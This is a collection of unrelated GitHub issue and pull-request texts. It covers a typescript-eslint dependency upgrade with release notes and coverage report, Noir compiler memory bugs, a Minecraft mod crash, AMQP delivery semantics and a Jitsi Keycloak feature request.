6.17.1-alpha.1 - 2024-01-06

6.17.1-alpha.0 - 2024-01-06

6.17.0 - 2024-01-016.17.0 (2024-01-01)
Bug Fixes

eslint-plugin: [no-restricted-imports] prevent crash when patterns or paths in options are empty (#8108) (675e987)

Features

eslint-plugin: [no-floating-promises] flag result of .map(async) (#7897) (5857356)
eslint-plugin: [switch-exhaustiveness-check] add an option to warn against a default case on an already exhaustive switch (#7539) (6a219bd)

You can read about our versioning strategy and releases on our website.

6.16.0 - 2023-12-25

6.15.0 - 2023-12-18

6.14.0 - 2023-12-11

6.13.2 - 2023-12-04

6.13.2-alpha.7 - 2023-11-29

6.13.2-alpha.5 - 2023-11-29

6.13.2-alpha.4 - 2023-11-29

6.13.2-alpha.3 - 2023-11-28

6.13.2-alpha.2 - 2023-11-28

6.13.2-alpha.1 - 2023-11-28

6.13.2-alpha.0 - 2023-11-28

6.13.1 - 2023-11-28

6.13.1-alpha.0 - 2023-11-27

6.13.0 - 2023-11-27

6.12.1-alpha.7 - 2023-11-27

6.12.1-alpha.6 - 2023-11-27

6.12.1-alpha.5 - 2023-11-24

6.12.1-alpha.4 - 2023-11-24

6.12.1-alpha.3 - 2023-11-24

6.12.1-alpha.2 - 2023-11-23

6.12.1-alpha.1 - 2023-11-21

6.12.1-alpha.0 - 2023-11-20

6.12.0 - 2023-11-20

6.11.1-alpha.38 - 2023-11-20

6.11.1-alpha.36 - 2023-11-19

6.11.1-alpha.28 - 2023-11-17

6.11.1-alpha.27 - 2023-11-17

6.11.1-alpha.24 - 2023-11-17

6.11.1-alpha.23 - 2023-11-17

6.11.1-alpha.22 - 2023-11-17

6.11.1-alpha.21 - 2023-11-16

6.11.1-alpha.20 - 2023-11-16

6.11.1-alpha.19 - 2023-11-16

6.11.1-alpha.18 - 2023-11-15

6.11.1-alpha.17 - 2023-11-15

6.11.1-alpha.16 - 2023-11-15

6.11.1-alpha.15 - 2023-11-14

6.11.1-alpha.14 - 2023-11-14

6.11.1-alpha.12 - 2023-11-13

6.11.1-alpha.10 - 2023-11-13

6.11.1-alpha.9 - 2023-11-13

6.11.1-alpha.3 - 2023-11-13

6.11.1-alpha.0 - 2023-11-13

6.11.0 - 2023-11-13

6.10.1-alpha.11 - 2023-11-13

6.10.1-alpha.10 - 2023-11-12

6.10.1-alpha.9 - 2023-11-12

6.10.1-alpha.8 - 2023-11-12

6.10.1-alpha.7 - 2023-11-12

6.10.1-alpha.1 - 2023-11-08

6.10.0 - 2023-11-06

6.9.2-alpha.7 - 2023-11-02

6.9.2-alpha.6 - 2023-11-01

6.9.2-alpha.5 - 2023-11-01

6.9.2-alpha.4 - 2023-11-01

6.9.2-alpha.3 - 2023-11-01

6.9.2-alpha.2 - 2023-10-31

6.9.2-alpha.1 - 2023-10-30

6.9.2-alpha.0 - 2023-10-30

6.9.1 - 2023-10-30

6.9.1-alpha.9 - 2023-10-29

6.9.1-alpha.8 - 2023-10-29

6.9.1-alpha.7 - 2023-10-29

6.9.1-alpha.6 - 2023-10-26

6.9.1-alpha.5 - 2023-10-26

6.9.1-alpha.4 - 2023-10-26

6.9.1-alpha.3 - 2023-10-25

6.9.1-alpha.0 - 2023-10-23

6.9.0 - 2023-10-23

6.8.1-alpha.62 - 2023-10-22

6.8.1-alpha.61 - 2023-10-22

6.8.1-alpha.60 - 2023-10-21

6.8.1-alpha.59 - 2023-10-21

6.8.1-alpha.58 - 2023-10-21

6.8.1-alpha.57 - 2023-10-21

6.8.1-alpha.56 - 2023-10-21

6.8.1-alpha.55 - 2023-10-20

6.8.1-alpha.54 - 2023-10-20

6.8.1-alpha.53 - 2023-10-20

6.8.1-alpha.52 - 2023-10-20

6.8.1-alpha.50 - 2023-10-20

6.8.1-alpha.49 - 2023-10-20

6.8.1-alpha.48 - 2023-10-20

6.8.1-alpha.46 - 2023-10-20

6.8.1-alpha.45 - 2023-10-20

6.8.1-alpha.43 - 2023-10-20

6.8.1-alpha.41 - 2023-10-20

6.8.1-alpha.39 - 2023-10-20

6.8.1-alpha.36 - 2023-10-20

6.8.1-alpha.34 - 2023-10-20

6.8.1-alpha.33 - 2023-10-20

6.8.1-alpha.31 - 2023-10-20

6.8.1-alpha.30 - 2023-10-20

6.8.1-alpha.29 - 2023-10-20

6.8.1-alpha.28 - 2023-10-19

6.8.1-alpha.27 - 2023-10-19

6.8.1-alpha.26 - 2023-10-19

6.8.1-alpha.25 - 2023-10-19

6.8.1-alpha.23 - 2023-10-19

6.8.1-alpha.22 - 2023-10-19

6.8.1-alpha.21 - 2023-10-19

6.8.1-alpha.19 - 2023-10-19

6.8.1-alpha.18 - 2023-10-19

6.8.1-alpha.17 - 2023-10-19

6.8.1-alpha.16 - 2023-10-19

6.8.1-alpha.15 - 2023-10-19

6.8.1-alpha.14 - 2023-10-19

6.8.1-alpha.13 - 2023-10-19

6.8.1-alpha.12 - 2023-10-19

6.8.1-alpha.7 - 2023-10-18

6.8.1-alpha.6 - 2023-10-18

6.8.1-alpha.5 - 2023-10-18

6.8.1-alpha.4 - 2023-10-17

6.8.1-alpha.3 - 2023-10-17

6.8.1-alpha.2 - 2023-10-17

6.8.1-alpha.1 - 2023-10-17

6.8.1-alpha.0 - 2023-10-16

6.8.0 - 2023-10-16

6.7.6-alpha.11 - 2023-10-15

6.7.6-alpha.6 - 2023-10-11

6.7.6-alpha.5 - 2023-10-11

6.7.6-alpha.4 - 2023-10-11

6.7.6-alpha.3 - 2023-10-11

6.7.6-alpha.2 - 2023-10-11

6.7.6-alpha.1 - 2023-10-10

6.7.6-alpha.0 - 2023-10-09

6.7.5 - 2023-10-09

6.7.5-alpha.2 - 2023-10-08

6.7.5-alpha.1 - 2023-10-08

6.7.5-alpha.0 - 2023-10-02

6.7.4 - 2023-10-02

6.7.4-alpha.0 - 2023-09-25

6.7.3 - 2023-09-25

6.7.3-alpha.9 - 2023-09-23

6.7.3-alpha.8 - 2023-09-21

6.7.3-alpha.7 - 2023-09-20

6.7.3-alpha.6 - 2023-09-20

6.7.3-alpha.5 - 2023-09-20

6.7.3-alpha.4 - 2023-09-20

6.7.3-alpha.3 - 2023-09-20

6.7.3-alpha.2 - 2023-09-20

6.7.3-alpha.1 - 2023-09-20

6.7.3-alpha.0 - 2023-09-18

6.7.2 - 2023-09-18

6.7.2-alpha.0 - 2023-09-18

6.7.1-alpha.19 - 2023-09-17

6.7.1-alpha.18 - 2023-09-16

6.7.1-alpha.17 - 2023-09-16

6.7.1-alpha.16 - 2023-09-16

6.7.1-alpha.15 - 2023-09-16

6.7.1-alpha.13 - 2023-09-16

6.7.1-alpha.12 - 2023-09-16

6.7.1-alpha.11 - 2023-09-16

6.7.1-alpha.10 - 2023-09-16

6.7.1-alpha.5 - 2023-09-15

6.7.1-alpha.3 - 2023-09-11

6.7.1-alpha.2 - 2023-09-11

6.7.1-alpha.1 - 2023-09-11

6.7.1-alpha.0 - 2023-09-11

6.7.0 - 2023-09-11

6.6.1-alpha.16 - 2023-09-11

6.6.1-alpha.15 - 2023-09-10

6.6.1-alpha.14 - 2023-09-10

6.6.1-alpha.13 - 2023-09-09

6.6.1-alpha.12 - 2023-09-08

6.6.1-alpha.11 - 2023-09-08

6.6.1-alpha.10 - 2023-09-08

6.6.1-alpha.8 - 2023-09-08

6.6.1-alpha.7 - 2023-09-08

6.6.1-alpha.6 - 2023-09-08

6.6.1-alpha.5 - 2023-09-07

6.6.1-alpha.4 - 2023-09-07

6.6.1-alpha.3 - 2023-09-07

6.6.1-alpha.2 - 2023-09-05

6.6.1-alpha.1 - 2023-09-05

6.6.1-alpha.0 - 2023-09-04

6.6.0 - 2023-09-04

6.5.1-alpha.22 - 2023-09-04

6.5.1-alpha.21 - 2023-09-03

6.5.1-alpha.20 - 2023-09-03

6.5.1-alpha.19 - 2023-09-03

6.5.1-alpha.18 - 2023-09-03

6.5.1-alpha.17 - 2023-09-02

6.5.1-alpha.16 - 2023-09-01

6.5.1-alpha.15 - 2023-08-31

6.5.1-alpha.14 - 2023-08-31

6.5.1-alpha.13 - 2023-08-31

6.5.1-alpha.11 - 2023-08-30

6.5.1-alpha.10 - 2023-08-30

6.5.1-alpha.9 - 2023-08-30

6.5.1-alpha.8 - 2023-08-30

6.5.1-alpha.7 - 2023-08-30

6.5.1-alpha.6 - 2023-08-30

6.5.1-alpha.5 - 2023-08-30

6.5.1-alpha.4 - 2023-08-30

6.5.1-alpha.2 - 2023-08-30

6.5.1-alpha.0 - 2023-08-28

6.5.0 - 2023-08-28

6.4.2-alpha.12 - 2023-08-27

6.4.2-alpha.11 - 2023-08-26

6.4.2-alpha.10 - 2023-08-25

6.4.2-alpha.9 - 2023-08-25

6.4.2-alpha.8 - 2023-08-24

6.4.2-alpha.7 - 2023-08-24

6.4.2-alpha.6 - 2023-08-24

6.4.2-alpha.5 - 2023-08-24

6.4.2-alpha.4 - 2023-08-24

6.4.2-alpha.3 - 2023-08-24

6.4.2-alpha.2 - 2023-08-22

6.4.2-alpha.1 - 2023-08-22

6.4.2-alpha.0 - 2023-08-21

6.4.1 - 2023-08-21

    from @typescript-eslint/parser GitHub release notes

Commit messages

Package name: @typescript-eslint/parser

a01a6e6 chore(release): publish 6.20.0
4d2ce3b fix(eslint-plugin): [prefer-readonly] disable checking accessors (#8300)
e95d719 chore: fix broken and outdated links (#8264)
9dca40e chore(eslint-plugin): fix typos in schema definitions (#8311)
73cbe9e chore(deps): update react (#8042)
d02d086 fix(eslint-plugin): [no-useless-template-literals] report Infinity & NaN (#8295)
70505e4 fix(eslint-plugin): [prefer-nullish-coalescing] treat any/unknown as non-nullable (#8262)
d0137c8 chore: enable prefer-nullish-coalescing internally (#7955)
c232319 docs: show all articles in sidebar, and a missing truncate (#8306)
bbc6770 feat(eslint-plugin): [member-ordering] allow easy reuse of the default ordering (#8248)
a9f995a docs: add `import/no-unresolved` to perf troubleshooting docs (#8190)
bc4b99a chore: update sponsors (#8303)
24f9d4c docs: underline URLs, change contrast in syntax highlighting (#8225)
8622286 fix(eslint-plugin): [no-useless-template-literals] incorrect bigint autofix result (#8283)
a911214 chore(release): publish 6.19.1
920f909 fix(eslint-plugin): [no-unnecessary-condition] fix false positive for type variable (#8235)
01556f5 fix(type-utils): preventing isUnsafeAssignment infinite recursive calls (#8237)
7c673a1 chore(release): publish 6.19.0
b795153 chore: make lint job use eslint-plugin outputs as inputs (#8245)
c7b0b6c fix(typescript-estree): fix incorrect backwards-compat augmentation in TS 5.3 (#8181)
85ae4a8 fix(eslint-plugin): [no-unnecesary-type-assertion] treat unknown/any as nullable (#8089)
7e75e84 fix(typescript-estree): disallow `using` as the variable keyword for `for..in` loops (#7649)
5a56708 fix(eslint-plugin): [no-unnecessary-type-assertion] detect unnecessary non-null-assertion on a call expression (#8143)
e80d54e fix(typescript-estree): add JSDocParsingMode enum merge for typescript/lib/tsserverlibrary (#8193)

Compare

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (ed9e7df) 89.54% compared to head (8b96d83) 89.21%.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #332      +/-   ##
==========================================
- Coverage   89.54%   89.21%   -0.33%
==========================================
  Files          10       10
  Lines         306      306
==========================================
- Hits          274      273       -1
- Misses         32       33       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


text:
Make Website More Accessible

In the following pull request:

Edit some alt attributes and make it more descriptive.
No linter errors are recorded.
-Suggested some general changes in regard to the structure of the page.

In the following pull request:

[ ] Edit some alt attributes and make it more descriptive.

[ ] No linter errors are recorded.

[ ] Suggested some general changes in regard to the structure of the page.

authors: GeekyHacks noelfoka

repo: noelfoka/portfolio-Microverse-version


text:
model index view

create a standard view that is intended to be a model index
Icons

Inventory Status
colour code to provide feedback on inventory for the machine. gray=no inventory, green=inventory last x hours, orange=inventory last x hours, red=inventory last x hours

added 2m of time spent

added 1 design

started a discussion on model-index.png

mentioned in commit 668e871e4fd52abb20426b8dafa988c423d3d3a7

started a discussion on model-index.png

started a discussion on model-index.png

mentioned in commit b2f7c831551469445d091cd176ab6f210ec862e1

started a discussion on model-index.png

started a discussion on model-index.png

marked this issue as related to #83

marked this issue as related to #82

mentioned in commit a2a8e1204649a27481862e85f8292a229e85fa97

added 2m of time spent


text:
feat(brillig): Support integers which fit inside a FieldElement

Description
Problem*
Brillig was limited  to 128 bits for integer operations, which prevent to use brillig to replace the quotient directive (which itself replace the truncate directive which requires more than 128 bits)
Related to https://github.com/noir-lang/noir/pull/1766
Summary*
We convert field elements to big integers and perform the operations on the big integers, using the provided bit size
Additional Context

PR Checklist*

[X] I have tested the changes locally.
[X] I have formatted the changes with Prettier and/or cargo fmt on default settings.

Looks sensible to me. Any reason to not merge this at the moment?

authors: TomAFrench guipublic

repo: noir-lang/acvm


text:
Noir program attempts to read uninitialised memory

Reopening @ax0's issue #2099 based on the new error.
Aim
Generate a proof for this program.
Expected Behavior
A proof is successfully generated.
Bug
We get the following error:
$ nargo execute
The application panicked (crashed).
Message:  Should not read uninitialized memory
Location: /home/tom/.cargo/registry/src/github.com-1ecc6299db9ec823/acvm-0.21.0/src/pwg/memory_op.rs:26

This is a bug. We may have already fixed this in newer versions of Nargo so try searching for similar issues at https://github.com/noir-lang/noir/issues/.
If there isn't an open issue for this bug, consider opening one at https://github.com/noir-lang/noir/issues/new?labels=bug&template=bug_report.yml

To Reproduce

git clone https://github.com/aragonzkresearch/noir-trie-proofs
cd noir-trie-proofs/tests/depth_8_storage_proof
nargo execute

Installation Method
Compiled from source
Nargo Version
nargo 0.9.0 (git version hash: a07b8a48924865d8425d35e40c75f48a13a81935, is dirty: false)
Additional Context
Would you like to submit a PR for this Issue?
No
Support Needs
No response

Ah, I hoped this would be fixed by #2106. I can confirm this is still an issue after that has been merged.

@jfecher can you check if this has been solved?

@kevaundray a Nargo bug with nested crates is preventing me from testing it. When trying to run the integration test, Nargo complains the parent directory is a lib instead of a bin target even though I'm trying to run the test in a subdirectory which is a bin target.

When trying to run the integration test, Nargo complains the parent directory is a lib instead of a bin target even though I'm trying to run the test in a subdirectory which is a bin target.

cc'ing @phated as I am not sure if this is the desired functionality or a bug. If it is a bug we can make a separate issue. I also had to move the subdirectory outside of the main noir-trie-proofs directory to reproduce this issue.

as I am not sure if this is the desired functionality or a bug.

It's both. lol. Please open an issue so it can be prioritized.

The panic is a bug, but there is also an error in their program. We are not checking for index out of bounds on dynamic arrays. I'm working on a fix.
I was able to reproduce this on our array_dynamic test by adding 20 at the top of main. I am also working with a local version of ACVM that shows me the index we are trying to access in the memory block:
    let idx = (z - 5*t - 5) as Field + 20;
    //dynamic array test
    dyn_array(x, idx, idx - 3);

This errors out with:
The application panicked (crashed).
Message:  Should not read uninitialized memory at index 24
Location: /mnt/user-data/maxim/acvm/acvm/src/pwg/memory_op.rs:30

When working with the project linked in the issue, I was get a panic with an index one greater than the specified array being accessed. Due to this I think the project linked most likely has an index out of bounds bug, just that the compiler needs to have a clear error and not a panic.

After some deeper investigation this looks like it may be a deeper error. I made a fix that checks for loop out of bounds and on the simple case in array_dynamic I am getting a failed constraint error instead of a panic as expect. However, I am still getting a panic in the linked project.

PR #2389 has included actual location data to ACIR memory operations. The missing location data is a bug in its own right, but has also exposed another issue with how we are handling call stacks. From the PR description:
The new location data has also exposed the actual bug that occurs in #2133. It looks like we are not handling locations correctly during flattening. A smaller reproduced snippet of the storage proof example is provided in the dynamic_array_index. If the dynamic array is accessed with an index out of bounds later after flattening, only the then case of the array merger is shown. For example
    if z == 20 {
        x[0] = x[4];
    } else {
        x[idx] = 10;
        for i in 0..5 {
            x[idx] = x[i];
        }
    }
    // TODO(#2133): This line should be where we show the error
    // but instead it will show x[0] == x[4] as the line where there is an index out of bounds
    assert(x[idx] != 0)

This bug is also seen in the storage proof example, which will return the below output when calling nargo execute:

However, based on the smaller snippet above, it looks to be using the incorrect location, as the array access being reported as an error is within the then case of an if statement:
        if ((i + n) as u32) < (N as u32)
        {
            out[i] = input[i+n];
        }

https://github.com/noir-lang/noir/pull/2389 was a step towards a fix, but not the full fix.

#2389 was a step towards a fix, but not the full fix.

Thanks, I had not realized this got closed by that PR.

I'm not sure this has been resolved. I'm still getting an index out of bounds error on commit f71695092dab62ddf3d4f9f4ffc2b99e67428ace.

Ah this should not have been closed, as the change was only incldued in ACVM. More context on the fix can be found here (https://github.com/noir-lang/noir/issues/2493)

as the change was only incldued in ACVM

Is it just a wait for ACVM v0.24.0 that contains the fix to go into Noir?

Is this an open issue still?

Closed, potentially with https://github.com/noir-lang/noir/pull/2504.

authors: Savio-Sou TomAFrench ax0 jfecher kevaundray phated vezenovm

repo: noir-lang/noir


text:
chore: custom configuration for formatter fests

Description
chore: custom configuration for formatter fests
Problem
Resolves #3181
PR Checklist

[x] I have tested the changes locally.
[x] I have formatted the changes with Prettier and/or cargo fmt on default settings.

@kevaundray

@f01dab1e can you fix the merge conflicts?

@jfecher

fyi there is a failing formatter test here

@jfecher

authors: f01dab1e jfecher kevaundray


text:
Fix url in ajax

Don't need add paramPrefix in url if stringData is empty

Thanks


text:
demo-apps Swiper

If i use demo-apps/appstore, is it possible if we dont use jquery.min.js ?
if it is possible, how to implement it ?
thanks for ur help ! =D

Yes, you can. You need to use then native JS instead of jQuery. You may read this article http://youmightnotneedjquery.com/


text:
🛑 mastodon.macsnet.cz is down

In d53419c, mastodon.macsnet.cz (https://mastodon.macsnet.cz/nodeinfo/2.0) was down:

HTTP code: 0
Response time: 0 ms

Resolved: mastodon.macsnet.cz is back up in 20f5b1a.

repo: nolog-it/mastodon-uptime


text:
Add voila schema

Creates a baseclass where one can upload a jupyter notebook.
Open questions:

Which Quantitys do we need? I only added two random ones I could think of.
The issue says 'Voila compatibe jupyter notebooks'. I don't know how to ensure that. So far one can even upload any file type.

Hey Carla,
thanks.
The FileEditQuantity should look like this:
    notebook_file = Quantity(
        type=str,
        a_eln=dict(component='FileEditQuantity'),
        a_browser=dict(adaptor='RawFileAdaptor'))

when you add this you get this file browser from which you can jump to voila.
The problem is that the URL is containing the username depending on the specific jupyter container. This means that there is no fixed url. I think for now only the notebook_file quantity is needed. By adding the a_browser annotation nomad is taking care of this for you :).
Regarding your 2nd question. I think it is ok for now, but one could check if it is at least an .ipynb which is uploaded. You could then in the normalizer throw an error which is then logged in the GUI.

authors: RoteKekse carla-terboven

repo: nomad-hzb/nomad-baseclasses


text:
请教一下关于在路由器上的使用

由于购买的服务器的上传带宽比较感人，造成缓冲时间特别久，而腾讯云的提速和来年续费价格又十分的黑。但自家的宽带网络上传速度有200mb/s，同时配有主路由和旁路由。
目前考虑买一个树莓派放在家里的网络运行。公网IP都已经申请下来了，但因为已越狱的iPhone通过修改Hosts的方法运行比较稳定，但一旦使用Hosts的方法就必须使用80端口，而目前三大运营商的入口中，80端口已经被屏蔽。
那么想请教各位大佬，如何通过 外网访问我自家的公网IP的80端口时，能够映射到自家网络的其他端口中？（将所有的数据原本不动的转到其他端口）
搜索了一下网上的方法，普遍都不太符合预期。

可以的，iPhone 上用 iptables 转发

为什么不用shadowrocket

repo: nondanee/UnblockNeteaseMusic


text:
[1.12.2] Crash upon loading new chunks (java.lang.NoClassDefFoundError: net/minecraft/client/particle/Particle)

Hello,
Upon exploring some new chunks regardless of dimension. The server crashes with the following error but doesn't create a crash report file even though the log says it does:
[Server thread/ERROR] [FML]: Exception caught during firing event net.minecraftforge.fml.common.gameevent.TickEvent$ServerTickEvent@22f45d14:
java.lang.NoClassDefFoundError: net/minecraft/client/particle/Particle
	at com.hbm.blocks.test.TestObjTester.createNewTileEntity(TestObjTester.java:40) ~[TestObjTester.class:1.9.8]
	at net.minecraft.block.Block.createTileEntity(Block.java:1274) ~[aow.class:?]
	at noobanidus.mods.lootr.config.ConfigManager.addUnsafeReplacement(ConfigManager.java:332) ~[ConfigManager.class:?]
	at noobanidus.mods.lootr.config.ConfigManager.replacement(ConfigManager.java:359) ~[ConfigManager.class:?]
	at noobanidus.mods.lootr.block.tile.TileTicker.serverTick(TileTicker.java:98) ~[TileTicker.class:?]
	at net.minecraftforge.fml.common.eventhandler.ASMEventHandler_1402_TileTicker_serverTick_ServerTickEvent.invoke(.dynamic) ~[?:?]
	at net.minecraftforge.fml.common.eventhandler.ASMEventHandler.invoke(ASMEventHandler.java:90) ~[ASMEventHandler.class:?]
	at net.minecraftforge.fml.common.eventhandler.EventBus.post(EventBus.java:182) [EventBus.class:?]
	at net.minecraftforge.fml.common.FMLCommonHandler.onPostServerTick(FMLCommonHandler.java:266) [FMLCommonHandler.class:?]
	at net.minecraft.server.MinecraftServer.tick(MinecraftServer.java:712) [MinecraftServer.class:?]
	at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:526) [MinecraftServer.class:?]
	at java.lang.Thread.run(Thread.java:750) [?:1.8.0_382]
Caused by: java.lang.ClassNotFoundException: net.minecraft.client.particle.Particle
	at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?]
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_382]
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_382]
	... 12 more
Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@35cec305 from coremod FMLCorePlugin
	at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge-1.12.2-14.23.5.2860.jar:?]
	at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?]
	at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?]
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_382]
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_382]
	... 12 more
Caused by: java.lang.RuntimeException: Attempted to load class btf for invalid side SERVER
	at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge-1.12.2-14.23.5.2860.jar:?]
	at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge-1.12.2-14.23.5.2860.jar:?]
	at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?]
	at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?]
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_382]
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_382]
	... 12 more

debug-1.log.gz
Any ideas? Only guess is related to lootr and HBM.
https://github.com/Alcatergit/Hbm-s-Nuclear-Tech-GIT/issues/220

Yeah, so it seems. Though blacklisting the HBM modid in lootr does nothing.
But blacklisting the entire dimension, in this case the overworld does actually prevents the crash in new chunks as all chest are no longer lootr chest.
We did report it also to HBM, it is a strange issue.

I can patch Lootr to not outright crash here, although there is still the potential for some other mod to crash in the same way if it tries to reference that HBM tile entity.

Yeah. I did refer the issue on HBMs side though no response as of yet.
I'm trying to blacklist a few more mod IDs in addition to HBM. Dunno if I either got the modid wrong or its not working.
Here is the config on the server we're trying as we're testing different modids (Had to change the .cfg to .txt cause github doesn't like .cfg files)
lootr.txt

I think the original crash should be fixed as of 0.6.2.

Saw the update to Lootr, will report back after updating.

repo: noobanidus/Lootr


text:
Manage delivery semantics

AMQP 1.0 allows a wide range of delivery semantics, including at-most-once, at-least-once, and umm, neither.  This encapsulates all work to manage that state for in-flight messages, and deal with settlement in-flow/out-flow through the processing and sending of disposition frames.

Not needed for any of the initial clients, as they all support auto-settle.

Note that JBoss AMQ seems to support auto-settle, but when you check the queue size it still shows the "settled" messages.  It doesn't re-deliver them, but it might pose a resource problem if it's holding them in memory.  This might require at least the delivery of Disposition frames, even if the full delivery semantics aren't implemented.

we have pretty robust support for disposition, which I believe meets the criteria here

authors: mbroadst noodlefrenzy


text:
Type safe result fetcher

The desired api design is following.
protocol Entity {
    init(row: Row) throws
}

struct User: Entity {
    let id: Int
    let name: String
    let emal: String

    init(row: Row) throws
        .....
    }
}

let users:  [User] = try knex().table("users").fetch()

done

repo: noppoMan/SwiftKnex


text:
Error build Uglify JS

Hi, an excellent plugin, but it's written in ES6 and when using UglifyJS an error occurs, can you recompile it on ES5?

#20, #23
ES2015 is reverted in the latest version. Please try with v0.5.0.

0.5.0 works finally, ES2015 Totally broke my code on safari 9 and below

authors: hazratgs kdenz noraesae

repo: noraesae/react-render-html


text:
Ability to pick different claim for Jitsi Meet User Name

Is your feature request related to a problem? Please describe.
Cannot change the default Jitsi Meet meeting user name away from userInfo.preferred_username

Describe the solution you'd like
The ability to specify which claim, via environmental variable, to use as context.name besides userInfo.preferred_username, it might also be useful to change scope via environmental variable for this purpose too. I believe context.name is what it used as the default Jitsi Meet meeting user name? That is what I wish to change here.

Describe alternatives you've considered
Using a custom Keycloak client scope mapper to redefine preferred_username but I think this would be better done on the adapter side.

Additional context

Hi @Viajaz,
There are a lot of options for the token payload and it is not very flexible to cover all options by using environment variables in my opinion. Therefore I put this code block in a seperate file (context.ts) to allow customizations by editing its codes.
You may edit this file as you wish. If you run jitsi-keycloak-adapter in a container environment, you may mount your customized context.ts.

Well, the idea would be to specify the name of the claim in said environmental variable (eg: KEYCLOAK_NAME_CLAIM = name or preferred_username). By overriding context.ts manually the solution becomes harder to update the container automatically than it already is as we've basically forked it at that point.
Maybe something like:
config.ts
export const KEYCLOAK_NAME_CLAIM= Deno.env.get("KEYCLOAK_NAME_CLAIM") || "preferred_username";

context.ts
// appropriate imports for config
// ...
name: userInfo[KEYCLOAK_NAME_CLAIM] || "preferred_username"
// ...

Hi @Viajaz, I tested your suggestion and it works but I still want to keep context.ts as it is because this simple script is here to allow customizations. It's very important to keep it very simple and straightforward to help people update it easily.
Best regards

That's a shame to hear, optional features that can be ignored shouldn't add complexity for simple use-cases and, for those that do need this functionality, overriding context.ts creates more fragility and overhead which creates complexity.
If I have this setup with Watchtower or other autoupdate mechanism, and the core structure of context.ts changes in the future, it'll break the container, the use of environmental variables is a much nicer interface.

authors: Viajaz emrahcom

repo: nordeck/jitsi-keycloak-adapter